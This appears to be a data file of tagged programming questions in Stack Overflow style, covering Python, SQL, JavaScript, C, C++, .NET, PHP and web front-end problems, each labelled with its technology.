python code simplification  one line  add all in list  i m making my way through project euler and i m trying to write the most concise code i can.  i know it s possible  so how could i simplify the following code.  preferably  i would want it to be one line and not use the int->string->int conversion.    question: what is the sum of the digits of the number 2<sup>1000</sup>     my answer:   <pre><code>&gt;&gt;&gt; i=0 &gt;&gt;&gt; for item in [int(n) for n in str(2**1000)];i+=item </code></pre>,python
javascript - open a given url in a new tab by clicking a button  i would like to have a button that redirects to a given url and opens in a new tab. how can this be done,javascript
how to add pre-required softwares at the time of making installer in .net   what i want to do is  i want to add .net framework with my setup file that will install before my application installation.,.net
jquery not running from <body>  i m calling a function that s loaded in custom js file in the header.   <pre><code>&lt;head&gt;  &lt;script type= text/javascript  src= /js/jquery-1.5.min.js &gt;&lt;/script&gt;  &lt;script type= text/javascript  src= /js/my.js &gt;&lt;/script&gt; </code></pre>   my.js has    <pre><code>$(document).ready(function(){     function testfunction(){          alert( inside testfunction );     } }); </code></pre>   after a few clicks  this is loaded in the <code>&lt;body&gt;</code>:   <pre><code>$( #someid ).live($.myapp.event.play  function(event) {     alert( this works );     testfunction(); }); </code></pre>   the alert  this works   fires  but then nothing happens  what am i doing wrong,jquery
how to improvise filechooser without showing file types drop down   here i used filechooser to select the folder and selected the all the files which was named with mani.txt and try to remove c: reference from the file  i need help to improvise filechooser code without showing file of types drop down         <pre><code>                    jfilechooser    chooser = new jfilechooser();              //chooser.setcurrentdirectory(new java.io.file( . ));     chooser.setdialogtitle( choose workspace path );      chooser.setfileselectionmode(jfilechooser.directories_only);     chooser.setacceptallfilefilterused(false);     if (chooser.showopendialog(this) == jfilechooser.approve_option) {      system.out.println( getcurrentdirectory():   + chooser.getcurrentdirectory());     system.out.println( getselectedfile() :   + chooser.getselectedfile().getabsolutepath());     }    string path= chooser.getselectedfile().getabsolutepath();     file folder = new file(path);  </code></pre>,java
c++ self-defined class return  i have defined a class     aims: simulate the string but with more functionalities   <pre><code>class ex_char { public:     ex_char(char *input):len(strlen(input)){strcpy(str input);}     ...functions... private:     char *str; //where the char array is saved     int len;   //length of the char array }; </code></pre>   for a normal char array  we can use:   <pre><code>char charray[10]= string ; cout&lt;&lt;charray; </code></pre>   to show the content of the char array    but how can i show the content of my class s str property by   <pre><code>cout&lt;&lt;excharray; </code></pre>,c++
sql query to apply multiple conditions against grouped data  given the tables:    <pre><code>exam (examid  subjectid) result (examid  studentid  gradeid) </code></pre>   what s the best way of retrieving a list of students who received gradeid= a  in subjectid= maths  and gradeid =  b  in subjectid= english  for their most recent exams in each subject  we can either assume examids increase over time  or add an examdate column to exam.    thanks!,sql
sql for cases with 2 or more hits  i have this table that has a lot of book related fields including keywords. book_ids are primary keys. let s say i have a book with six keywords describing it  now how do i search all the other books that have two or more same keywords      what i have now is roughly this:   <pre><code>select book_id  from book_fields where keyword in ( select keyword from book_fields where book_id= 123  ) </code></pre>   the purpose is to get rough recommendations of similar books based on keywords. i d like to do this with sql if possible.     to clarify: the idea is to match a book to other books using more than one keyword. all the keywords of all books were in book_fields table. no chance to touch the schema and rdms was oracle.,sql
removing rows from a table from a result of groupby  i have the following table <a href= http://sqlfiddle.com/#!3/7f078/1  rel= nofollow >http://sqlfiddle.com/#!3/7f078/1</a>    okay so what i want do is group by <code>schoolid</code> and then count the number of kids in each school. this is easy. but i want to remove a school that has less then 10 kids who have <code>schoolinclude = 1</code>.  so basically  for a specific school  look at all the kids who have <code>schoolinclude = 1</code> and then count these kids. if the school has less then 10 kids  i want this school to be removed. i want to then return the original table with this school removed.     whats the best way of going about this,sql
adding html code dynamically to a div <pre><code>private void getgrouplisthtml() {                                 //...code omitted                 string htmlcode = string.empty;                  foreach (datarow _datarow in _datatable.rows)                 {                     htmlcode += @ &lt;div class=  box collapsed-box  &gt;                          &lt;div class=  box-header with-border  &gt;                              &lt;h3 class=  box-title  &gt;                                   &lt;asp:label id=  grouptitlelabel   runat=  server   text=  +_datarow[ groupname ] +  @   &gt;&lt;/asp:label&gt;                              &lt;/h3&gt;                              &lt;div class=  box-tools pull-right  &gt;                                  &lt;button class=  btn btn-box-tool   data-widget=  collapse   data-toggle=  tooltip   title=  expand  &gt;&lt;i class=  fa fa-plus  &gt;&lt;/i&gt;&lt;/button&gt;                              &lt;/div&gt;                          &lt;/div&gt;                        &lt;/div&gt; ;                 } } </code></pre>   i want to add the htmlcodes to a div. is it possible to do it this way  basically i have a string variable which appends the html codes. i want to dump this code in between the div tag and return the new webpage to the user.   <pre><code>&lt;div id= grouplistdiv  runat= server &gt;&lt;/div&gt; </code></pre>,asp.net
why is the global variable not being changed in certain circumstances in a function if you don t declare it with var or it s not an argument   ecmascript is pretty straightforward about <code>var</code>. if you don t use <code>var</code> inside a function to declare a variable you assign to you assign to the global scope. this happens because of the way chain scoping works. the executing environment looks for the identifier in the local scope and then moves up until it reaches the global scope. if hasn t found a declaration for the the identifier and it s not identified as an argument the variable is created in the global scope.    for example local scope:   <pre><code>var car =  blue ;  function change_color () {   var car =  red ; }  change_color(); console.log(car); //logs  blue  as car is in the local scope of the function. </code></pre>   when <code>car</code> is not found in the local scope:   <pre><code>var car =  blue ; function change_color () {   car =  red ; } change_color(); console.log(car);  //logs  red  as car is not in the local scope and the global variable is used. </code></pre>   now apparently there s an exception to this rule that i wasn t aware of and don t understand (<strong>notice the function name</strong>):   <pre><code>var car =  blue ; (function car () {  car =  red ; })(); console.log(car); //logs  blue      </code></pre>   can anyone explain this please  i don t see where this is explained in the ecmaspec. tested in chrome 8 and firefox 3.6,javascript
how do i invoke an exe that is an embedded resource in a .net assembly   i have a non-.net executable file that is included in my .net assembly as an embedded resource.  is there a way to run this executable that does not involve writing it out to disk and launching it     this is .net 2.0.,.net
difference between local  static and global functions   what are the differences between local functions  global functions and static functions in c - language. i thought local and static functions are same  is it right or wrong,c
python repeat list to max number of elements  what is the most efficient method to repeat a list up to a max element length     to take this:   <pre><code>list = [ one    two    three ] max_length = 7 </code></pre>   and produce this:   <pre><code>final_list = [ one    two    three    one    two    three    one ] </code></pre>,python
are  out  parameters a bad thing in .net   are  out  parameters a bad thing in .net  any good articles/discussions on this topic,.net
correction request for c program  // i m having issues compiling my program. honestly  i m a new programmer and i m not really sure how to use certain things within my program. can someone check my program and give me the corrections please or better thoroghly explain it ti me  it s neede for monday..//   <pre><code>    #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;conio.h&gt; #include &lt;string.h&gt; #include &lt;time.h&gt;   int main() {      //file declarations//      file*log;     file*inventory;     file*username;      char fpass_word[10]= invent ;     char fusername[10]=  ;      //declarations for variables//     int main;     int sub_main;         int s=0;         int s_goods;         int p_goods;         int in_goods;     int c_goods;     double unit_price;     int item_quantity;     int invoice_num;     char pass_word1[10]=   ;     char pass_word[10]= invent ;     char username[10]= inventor ;     char username1[10]=   ;     char supplier[12]=   ;     char items_name[12]=   ;       char invoice_date[10]=   ;         //declarations for variables//    int u=0;    int count=0;    int option;    int choice;    int choice1;    int m=0;    int save;    int new_inventory;    int update_inventory;    int print;    int close_program;    int t_sales;    int t_purchases;    double m_sales[4]={30000.00 50000.00 100000.00 120000.00}; }     log=fopen( invent.txt   w )     if(log==null)       printf( file does not exist );      }    else      {        fprintf(log  %s  pass_word);        fclose(log);      }     user=fopen( username.txt   w )     if(user==null)    {      printf( file does not exist );    }    else    {        fprintf(user  %s  username);        fclose(user);    }    printf( __________________________________________________________\n\n );    printf( ************please login to your account!************\n\n );    printf( __________________________________________________________\n\n );     printf( please enter your username: \n );    scanf( %s  username);     user=fopen( username.txt   r )    {    if(user==null)    {      printf( file does not exist );    }    else    {        fprintf(user  %s  fusername);        fclose(user);    }    choice1=strncmp(username fusername 10);     printf( please enter password: \n );    scanf( %s  pass_word1);     log=fopen( invent.txt   r )     if(log==null)    {      printf( file does not exist );    }    else    {        fscanf(log  %s  fpass_word);        fclose(log);    }     choice=strncmp(pass_word1 fpass_word 10);     while (choice!=0 &amp;&amp; count&lt;3)   {     printf( *************************************************************************************\n\n );     printf( !!!!!!!!!!!!!!!!!!!!!!!!please re-enter your login info!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n );     printf( *************************************************************************************\n\n );      printf(  please enter username: \n );     scanf( %s  &amp;username);      choice=strncmp(username username1 10);      printf( please enter password!\npassword: );     scanf( %s  pass_word);      choice=strncmp(pass_word pass_word1 10);      count=count++;      //menu function!!!     getch();     system( cls );   }//login page      printf( \n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\n );     printf( \n******************** welcome to the invent biz main page!********************\n\n );     printf( \n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;\n\n );     printf ( &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; please select an option you desire:&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n\n );      printf( 1: new inventory\n );     printf( 2: update inventory\n );     printf( 3: print\n );     printf( 4: save \n );     printf( 5: close program\n );     printf( please select an option: \n );     scanf( %d  &amp;option);  //menu screen    while(option!=6)    {     switch(main)    {        case 1:                printf( new inventory );                inventory=fopen( new inventory.txt   w )             if (inventory==null)            printf( this file is empty! );            }           else           {              fprintf( please enter invoice date:\t\n );             fprintf( please enter supplier:\t\n );                         fprintf( please enter item name:\t\n );                           fprintf( please enter quantity of items:\t\n );                         fprintf(  please enter invoice number:\t\n );                         fprintf( please enter unit price:\t\n );                         }           fclose(inventory);        // data entered for inventory//    switch(sub-main)         {          case 10:                    printf( please enter sales for each month:%d  t_sales);                   printf(  total sales\n );                   scanf( %d  &amp;t_sales);          break;           case 3:                  printf( print );                      inventory=fopen( new inventory.txt   r )                       fscanf(inventory  %d  invoice_date);                      fscanf(inventory  %s  supplier);                      fscanf(inventory  %s  items_name);                      fscanf(inventory  %d  &amp;item_quantity);                      fscanf(inventory  %d  &amp;invoice_num);                      fscanf(inventory  %d  &amp;unit_price);                       fclose(inventory);                    break;          case 4:                  printf( save );                inventory=fopen( inventory1.txt   w );                if(inventory==null)               {                   printf( this file empty!!! );               }                 else                     {                         printf( file saved );                     }                 fclose(inventory);       case 5:               printf( close program );                exit(main);                break; } // end switch      system( cls );      printf ( &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; please select an option you desire!!!&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n\n );      printf( 1: new inventory\n );     printf( 2: update inventory\n );     printf( 3: print\n );     printf( 4: save \n );     printf( please select an option: \n );     scanf( %d  &amp;option);    } } system( cls ); getch(); return (); } </code></pre>,c
json data model advantages  what are the actual advantages if you are using    <ul> <li> json data model classes    in your application instead you can work without using it  </li> </ul>,ios
impersonation file upload impact  i have a admin system  currently allow login user to upload a file  but i found that it can not overwrite the file with same file name  it return access denied error    im wondering if i set impersonation = true in web.config  what impact will have  (i know there is another way to solve my upload overwrite issue  but just want to ask the impact of impersonation)    thanks,asp.net
javascript indexof() always returns -1  i try to retrieve the index of en element in an array.    this works perfectly   <pre><code>        var oncreate = function (event) {         console.assert(markers[markerid] === undefined);          var markerid = event.markerid;         markers[markerid] = {};          var marker = markers[markerid];         // create the container object         marker.object3d = new three.object3d();         marker.object3d.matrixautoupdate = false;         scene.add(marker.object3d);          //update array holding current markers         console.log( on create );         console.log( current detected markers:   + currentmarkers);         var idx = currentmarkers.indexof(markerid); // find the index         console.log( marker   + event.markerid +   has index:   + idx);         if(idx==-1) // if does not exist             currentmarkers.push(markerid); </code></pre>   but this doesnt...   <pre><code>    var ondelete = function (event) {          console.assert(markers[event.markerid] !== undefined);         var markerid = event.markerid;         //update array holding current markers         console.log( on delete );         console.log( current detected markers:   + currentmarkers);         var idxx = currentmarkers.indexof(markerid); // find the index         console.log( marker   + markerid +   has index:   + idxx);         if(idxx != -1) {// if does exist             currentmarkers.splice(idxx  1); //delete             var idxxx = currentmarkerscoverchecked.indexof(markerid); // find the index             if(idxxx == -1) // if does not exist  so if not being checked                 checkmarkercovered(markerid);         }         ondeleterandom(markerid);         var marker = markers[markerid];         scene.remove(marker.object3d);         delete markers[markerid]; </code></pre>   look at my console output:   <pre><code>on create  current detected markers: 2 1 4  marker 3 has index: -1  on create main.js:266 current detected markers: 2 1 4 3  marker 4 has index: 2  on delete  current detected markers: 2 1 4 3 marker 2 has index: -1  on create  current detected markers: 2 1 4 3  marker 2 has index: 0  on delete  current detected markers: 2 1 4 3  marker 1 has index: -1  </code></pre>,javascript
sql select with modified column data  one database i am pulling from has different locations listed as numbers (2234  5716  etc). another has them listed with  loc.  as a prefix (loc.2234  loc.5716  etc).      is there a way to pull the location from the first database  but add  loc.  in front of the location number in the select query,sql
python:write a program that keeps reading positive numbers from the user  hi i am very new to programming and was doing my 6th assignment when i started to draw a blank i feel as thou its really simple but i cant figure out how to continue and would appreciate some advice showing the correct code would be cool  and all but i would really appreciate feed back along with it more so then what to do and if so where i went wrong  down below is what im supposed to do.     <strong>write a program that keeps reading positive numbers from the user.  the program should only quit when the user enters a negative value. once the   user enters a negative value the program should print the average of all the   numbers entered.</strong>    what im having trouble with is getting the number to remember okay user entered 55 (store 55) user entered 10 (store 10) user enter 5 (store 5) okay user put -2 end program and calculate. problem is its not remembering all previous entry s its only remembering the last input (which i guess is what my codes telling it to do) so how do i code it so that it remembers all previous entry s     and here is the code i have so far    <pre><code>number = 1 while ( number &gt; 0):    number = int(input( enter a number. put in a negative number to end ))    if number &gt; 0 :       print (number)    else:       print (number) # these are just place holders  </code></pre>,python
simple question on asp net profile  i believe this is a simple question but i can t figure out myself. in the aspnet profile there is propertynames column with value [value]:<em>:</em>: (e.g. officekey:s:0:1:)    does anyone know what the  :s:0:1:  is  how can i read it     thanks,asp.net
water tank logic using only c arithmetic operators   this is an assignment and we are not allowed to use any logical/relational/conditional/bitwise operators/loops/if/else statements. the problem states that there are three holes in a tank and water exits from each. take in value for total water in the tank  if the water in the tank is <code>200</code> gal or more  water exits at <code>1.5</code> gal per minute from the 3rd hole  <code>1.3</code> gal/min from 2nd  and <code>1.1</code> from 1st hole. if the water level is below 200 gals  water only exits from the bottom two holes. if the water level is below 150 gallons  water only comes out of the bottom hole. what is the total water exiting per minute  we have to figure this out only using <code>%</code>  <code>/</code>  <code>*</code>  <code>+</code>  <code>-</code> <code>=</code> operators. i tried the following    <pre><code>    #define holeonerange 200     #define holetworange 150     #define holethreerange 100     int waterlevel totalexiting;     totalexiting = ( (waterlevel/holeonerange) * (holeonerange - waterlevel * 1.5) ) </code></pre>   but i also need an expression for hole 1 and 2 which i can t figure out for the last one hour and any help would be appreciated. thanks.,c
model view referencing another model view  i have an article model and i also have a comment model. my article show page is rendering a view from the comment views. it is rendering a new comment form and a show comment form. if i reference a variable in the comment form  like @comment  does it look for the @comment in the article controller or does it look for it in the comment controller,ruby-on-rails
css gallery not responding  my css gallery specifications are not corresponding to my html5. the images are not following the hover tag and they are displaying on top of everything else. it will not stay fixed however when i change the positioning to <code>fixed</code> it disappear all together. css checker states validates all fine. i can not position it where i want on the page either. any help would be appreciated. thanks in advance     <strong>css code</strong>   <pre><code>#gallery {  bottom: -20px; padding-right: 50px;  display: inline; top: 200px; z-index: 99999999; }  #gallery ul { list-style-type: none; padding: 20px; text-align: center; position: fixed;   }  #gallery li { display: inline; padding-right: 20px;  }  #gallery img { padding: 5px 5px 40px 5px; background: white; box-shadow: 4px 4px 8px -4px #000000; -webkit-box-shadow: 4px 4px 8px -4px #000000; -mox-box-shadow:4px 4px 8px -4px #000000; }   #gallery:hover {   -webkit-transform:scale(5%); -o-transform:scale(5%); -moz-transform:scale(5%); -ms-transform: scale(5%); transform: scale(5%);  transition: 0.5s ease-in-out; -webkit-transition:0.5s ease-in-out; -o-transition:0.5s ease-in-out; -mox-transition:0.5s ease-in-out; -ms-transition: 0.5s ease-in-out; } </code></pre>,css
file* access violation  i have an annoying access violation problem with visual studio 2012. i had the same problem in visual studio 2010 and i thought that it could be a compiler problem but it turns out it is not.    here is part of the code that gives me the access violation:   <pre><code>sdl_surface *cgraphicsmanager::loadimagefrompak(char *filename  char *img_type) {     // load the  file  to sdl_surface      sdl_surface *img = null;         char errorname[50];     sprintf(errorname   unable to load image %s from pakfile   filename);      file *fin = pakfile.open_file(filename);     if(!fin)     {         errorlog(errorname);         return null;     }      sdl_rwops *rw;     rw = sdl_rwfromfp(fin  1);     if (!rw)     {         errorlog( erro na linha 213 );         return null;     }      img = img_loadtyped_rw(rw 0  img_type);  // it crashes on this line     if(img == null)         errorlog( unable to load image from pakfile. );     sdl_freerw(rw);     //pakfile.close_mpk();     //if (img_type ==  png )     img = add_transparency(img);     return img; } </code></pre>   it gives me access violation writing at location 0x00000014. the weird thing is that it compiles and runs fine on mingw compiler  which makes me think that it is not wrong code. i read something about a problem with file* and dll calls but i didnt find how to fix that. i have no linking warnings and i have linked all necesary libs. i am also running it in debug mode and compiling in multi-threaded debug dll (mdd). visual studio is much faster for writing code and easier for debugging than mingw and i would appreciate any response. thank you very much.,c++
using string in void in another void   i am trying to navigate page  using different useragents. i have a random string generator  a timer that changes it every second (generate new random string every second)  and a navigate. my question is  how to use string useragent (which is being changed every second) in another void      <pre><code>public static string randomstring(random r) {      string s =  abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz ;      var sb = new stringbuilder();      int cnt = r.next(5  33);      for (int i = 1; i &lt;= cnt; i++)      {          int idx = r.next(0  s.length);          sb.append(s.substring(idx  1));      }      return sb.tostring(); }  private void timer2_tick(object sender  eventargs e) {      var r = new random();      string useragent = randomstring(r);            timer2.stop();      timer2.interval = 1;      timer2.start(); }  private void timer1_tick(object sender  eventargs e) {          navigate( http://example.org  useragent null);     } </code></pre>,c#
sql joins show same record 3 times  instead of 3 records  i am working on a join exercise from database processing by kroenke and auer there is a question which asks to find all the items shipped from singapore displaying information from 3 different tables.    in the table there is 3 results which match these criteria.    i have tried a where join and an inner join  but each time instead of giving 3 results  it gives 1 result 3 times  which makes me convinced i m messing something up with my syntax.    here s the where join:   <pre><code>    select  shippername  shipment.shipmentid  departuredate       from shipment  item  shipment_item      where shipment_item.shipmentid = shipment.shipmentid      and item.itemid = shipment_item.itemid       and item.city =  singapore ; </code></pre>   and the inner join:   <pre><code> select   shippername  shipment.shipmentid  departuredate  from shipment  inner join shipment_item on shipment_item.shipmentid = shipment.shipmentid inner join item on item.itemid = shipment_item.itemid  where item.city =  singapore  order by shippername asc   departuredate desc; </code></pre>   the result of both queries:    <pre><code>shippername                         shipmentid  departuredate ----------------------------------- ----------- ------------- international                       4           2013-06-02 international                       4           2013-06-02 international                       4           2013-06-02 </code></pre>,sql
highscore table - how to highest score per user   yep there are many similar questions  but i really couldn t solve my problem. unfortunately i don t have enough knowladge to understand that similar question s answers to solve mine ^^.    i have id  name  score   ip variables. i don t care about id or ip variables..     my query like this;    <code>$query =  select * from highscores order by score + 0  desc limit 10 ; $result = mysql_query($query);</code>    this gives higscore table but  there are same user s different scores. i want to show highest score per user.    i don t even know why there is + 0 on my code. and why if i delete it table doesn t show as desc.,mysql
html menu help  i have a page design with a menu as follows:   <pre><code>cat1    |     cat2    |    cat 3    |    cat 4      </code></pre>   when i hover the word cat2  the bgcolor of the whole box of cat2 changes to blue color. also  whole cell needs to be clickable and linked to other page.     i can do that without having the symbol  |  by changing the bgcolor of the table cell and making width of the  a tag  to 100% and height of  a tag  to 30px. but i can t figure the way to add the delimiter symbol  |  in it.    does anyone have any ideas about that,html
playing a sound file has side effects  i added this to a condition on my site:   <pre><code>$( body ).append( &lt;embed src= sound.wav  autostart= true  hidden= true &gt;&lt;/embed&gt; ); </code></pre>   and it worked  but the page stopped accepting input after the sound played. this is for an in-house application  so i can specify which browser and version the person has to use.    q: why did <a href= http://www.cfmzengarden.com/barcodezengarden/001/001.cfm  rel= nofollow >the page</a> stop accepting input into the text input field,javascript
error no member function declared in class when compiling  i am pretty new to c++ and have no idea why i am getting this error  except that i think it s to do with using the string type for getter methods.    the error message:   <pre><code>c:\users\robin douglas\desktop\week6&gt;g++ -c student.cpp student.cpp:15:31: error: no  std::string student::get_name()  member function d eclared in class  student  student.cpp:20:43: error: no  std::string student::get_degree_programme()  membe r function declared in class  student  student.cpp:25:32: error: no  std::string student::get_level()  member function declared in class  student  </code></pre>   student.hpp   <pre><code>#include &lt;string&gt;  class student {     public:         student(std::string  std::string  std::string);         std::string get_name;         std::string get_degree_programme;         std::string get_level;     private:         std::string name;         std::string degree_programme;         std::string level; }; </code></pre>   student.cpp   <pre><code>#include &lt;string&gt; #include  student.hpp   student::student(std::string n  std::string d  std::string l) {     name = n;     degree_programme = d;     level = l; }  std::string student::get_name() {     return name; }  std::string student::get_degree_programme() {     return degree_programme; }  std::string student::get_level() {     return level; } </code></pre>,c++
why php rounds the results of math operations  the result of below operation should be <code>0.63686637617647057</code>  but i get this result instead : <code>0.63686637617647</code>.    result that i expect:   <pre><code>1 - 0.36313362382352943 = 0.63686637617647057; </code></pre>   result of php:   <pre><code>1 - 0.36313362382352943 = 0.63686637617647 </code></pre>   how can i do to make php not round the result,php
error: [$injector:unpr] unknown provider  i ve set a service using angular named uidentity. but  when i try to call it this way:   <pre><code>app.controller( foo   function(uidentity){}); </code></pre>   i get this error message:   <blockquote>    error: [$injector:unpr] unknown provider: uidentityprovider &lt;-   uidentity  </blockquote>   how do i fix this  please,angularjs
jquery click fadein / fadeout  i have a probably dumb question  but i can t figure it out on my own...    i d like to alternatively fadein / fadeout two div by cliking on a third one.    here is a non working example : <a href= http://jsfiddle.net/shlqj/  rel= nofollow >http://jsfiddle.net/shlqj/</a>    here is the html :   <pre><code>&lt;div id= a &gt; &lt;/div&gt; &lt;div id= alpha &gt; alpha &lt;/div&gt; &lt;div id= beta &gt; beta &lt;/div&gt; </code></pre>   the css :   <pre><code>#a { width: 200px; height: 40px; line-height: 40px; background-color: red; text-align: center; } #a:hover { cursor: pointer; } #alpha  #beta {  width: 200px; height: 100px; margin-top: 20px; } #alpha { background-color: blue; } #beta { background-color: green; } </code></pre>   and js :   <pre><code>$(document).ready(function(){     $( #beta ).hide();     $( #a ).click(function() {         $( #alpha ).fadeout( slow   function() {              $( #beta ).fadein();         });     }); }); </code></pre>   i can do the first animation (fadeout alpha  fadein beta)  but on the second click  i d like to do the inverse and so on...    any suggestions      thanks,jquery
can t bind inside ng-show that is in ng-repeat  so i am working on a small login form using angularjs and it seemed extremely natural to remove duplicated code by using an ng-repeat directive. everything is very natural and works well except any kind of binding inside ng-show  this is where things gets unintuitive and break down. a fiddle of the work so far can be found <a href= http://jsfiddle.net/k2fub/4/  rel= nofollow >here</a>.    what i am wondering is why does everything break down for ng-show  if i dump the ng-repeat and duplicate the code everything works fine for all three ng-show instances assuming that i manually type the references to the elements and values.    below is a copy of the fiddle html and javascript:   <pre><code>&lt;div ng-app= loginapp  ng-controller= logincontroller &gt;     &lt;form name= loginform  novalidate&gt;         &lt;div class= form-group  ng-repeat= field in fields &gt;             &lt;label&gt;{{field.label}}&lt;/label&gt;             &lt;input type= {{field.inputtype}}  class= form-control  name= {{field.inputname}}  ng-minlength= {{field.minlength}}  ng-maxlength= {{field.maxlength}}  ng-model= field.value  ng-focus= inputfocused /&gt;             &lt;!-- the ng-show below doesn t work as expected --&gt;             &lt;div ng-show= canshowusermsgs(inputfocused  loginform.{{field.inputname}}.$dirty  loginform.{{field.inputname}}.$invalid) &gt;                 &lt;!-- the ng-show below doesn t work as expected --&gt;                 &lt;p ng-show= loginform.{{field.inputname}}.$error.minlength  class= help-block &gt;must be more than {{field.minlength}} characters long.&lt;/p&gt;                 &lt;!-- the ng-show below doesn t work as expected --&gt;                 &lt;p ng-show= loginform.{{field.inputname}}.$error.maxlength  class= help-block &gt;must be less than {{field.maxlength}} characters long.&lt;/p&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/form&gt; &lt;/div&gt;   var loginapp = angular.module( loginapp   []);  loginapp.controller( logincontroller   function($scope  $http) {     $scope.fields = [         {             label :  user name               inputtype :  text               inputname :  username               value :                 minlength : 5              maxlength : 15         }          {             label :  password               inputtype :  password               inputname :  password               value :                 minlength : 5              maxlength : 15         }         ];      $scope.canshowusermsgs = function(inputfocused  inputdirty  inputinvalid) {         return (inputdirty &amp;&amp; inputinvalid &amp;&amp; !inputfocused); }; });  loginapp.directive( ngfocus   [function() {   return {     restrict:  a       link: function(scope  element  attrs  ctrl) {       var modelname = attrs[ ngfocus ];       scope[modelname] = false;        element.bind( focus   function(evt) {         scope.$apply(function() {scope[modelname] = true;});       }).bind( blur   function(evt) {         scope.$apply(function() {scope[modelname] = false;});       });     }   } }]); </code></pre>,angularjs
how to tell the app a new contact is added or deleted or modified in address book and its details in android  is there any listener when contact is added or deleted or modified in address book     i want to know which contact is added or deleted or modified.    <strong>edit:</strong>    with below comment onchange() is being called. but my problem is how to know the effected contact and its details. i mean which contact is modified      please some one help me on this. thank you,android
measuring distance between two lat/lng points  i am having issues trying to return the closest location to the user via an sql statement. to test i am using the exact same coordinates  here is what i have:    <strong>sql:</strong>     <pre><code>select  `companies`.`customername`        (3959 *          acos(             cos(                 radians(37.367485) * cos(radians(`locations`.`gps_lat`)) *                  cos(                     radians(`locations`.`gps_lng`) - radians(-77.399994) +                      sin(radians(37.367485)) * sin(radians(`locations`.`gps_lat`))                 )             )         )     ) as  `distance`  from  `locations`  join  `companies` on  `locations`.`co_id`  having  `distance` &gt; 25 order by distance limit 0   10 </code></pre>   <strong>results:</strong>     <pre><code>| customername  | distance           | | some company  | 1914.41747964854   | </code></pre>   <br> <code>locations</code> <strong>table values:</strong>     <pre><code>gps_lat   | gps_lng 37.367485 | -77.399994 </code></pre>   <br> i used the example from <a href= https://developers.google.com/maps/articles/phpsqlsearch#findnearsql  rel= nofollow >google</a>  i checked the formula a couple times and i can t seem to come up with where i went wrong. any help is appreciated.   <hr>   edit:<br> since there seems to be some confusion on me knowing what i am doing:      the <code>&gt;</code> was substituted to yield a result  <code>1914</code> is obviously greater then <code>25</code>.     the application of this is passing user coordinates from an android app to our web server. the latitude and longitude will be pulled from the <code>$_get</code> values and cross-referenced from companies in our web servers mysql database.     <strong>the syntax above is just me checking my sql statement in mysql workbench. obviously i am looking for a zero value result.</strong>,sql
get #anchor for url using jquery   <pre><code>jquery(document).ready(function(){     $( #red-products ).hide();       $( #content-info ).click(function(event){         $( #red-products ).hide();           $( #red-information ).show();      });      $( #content-product ).click(function(event){         $( #red-information ).hide();         $( #red-products ).show();       });      $( #more ).click(function(event){         load(this.href);         return false;     });  }); </code></pre>   as you can see  by default <code>#red-products</code> is hidden and <code>#red-information</code> is visible. sometimes i want <code>#red-products</code> to be visible and <code>#red-information</code> hidden  meaning something like    <code>http://localhost/networks2/profile.php id=1&amp;offset=1#products</code>    to show <code>#red-products</code> and hide <code>#red-information</code>. and     <code>http://localhost/networks2/profile.php id=1&amp;offset=1#information</code>    to hide <code>#red-products</code> and show <code>#red-information</code>.    how can i read anchor from url using jquery  and hide/show appropriate sections,jquery
rails validate uniqueness of certain id in join table   i have users and triggers table  and a join table called triggersuser    is it possible to define the scope of <strong>just one</strong> trigger id per user  for example  each user can only have <code>trigger_id: 1</code> once  while <code>trigger_id: 3</code> can be stored with that user in the join table as many times as needed.    is it possible to defined the scope of the model for uniqueness of trigger id and user id  but only for specific trigger_ids     thanks!,ruby-on-rails
css owerflow-auto on block inside block with max-height  i want to get next layout:   <pre><code>****** div with max-height 80% percents of a screen  ------ div with fixed height ------ ++++++ div which grows until parent div (marked with *)  is smaller than it s max-height after parent div have reached max-height   this div should show vertical scroll.   ++++++  ****** </code></pre>   i ve created jsfiddle with example. you could uncomment <code>//max-height:210px;</code> in css to look what i want to achieve. but in fiddle i have predefined page size  and i could tune height of overflowed block. how could i do that in percents of page height     <a href= http://jsfiddle.net/wxdtwq5x/6/  rel= nofollow >http://jsfiddle.net/wxdtwq5x/6/</a>,css
get same alignement of posted datas with http_build_query  i have this php code:   <pre><code>function submit_query(array $req = array()) {   $post_data = http_build_query($req       &amp; );   curl_submit($post_data  $my_url); } </code></pre>   i submit data via <code>post</code> like this (each time i use random alignement):   <pre><code>submit_query(array( code1  =&gt;  code1    code2  =&gt;  code2 )); </code></pre>   i want to get same alignement of submited datas <code>$post_data = http_build_query($req       &amp; );</code> in the target file <code>$my_url</code>.    any advice   thank s.,php
what is the significance of  this == null    what does this ever mean in the block.   <pre><code>if (this == null) {     // some code } else {     // ... } </code></pre>   my concern is will <code>this == null</code> ever be true  the java compiler does not show any error.,java
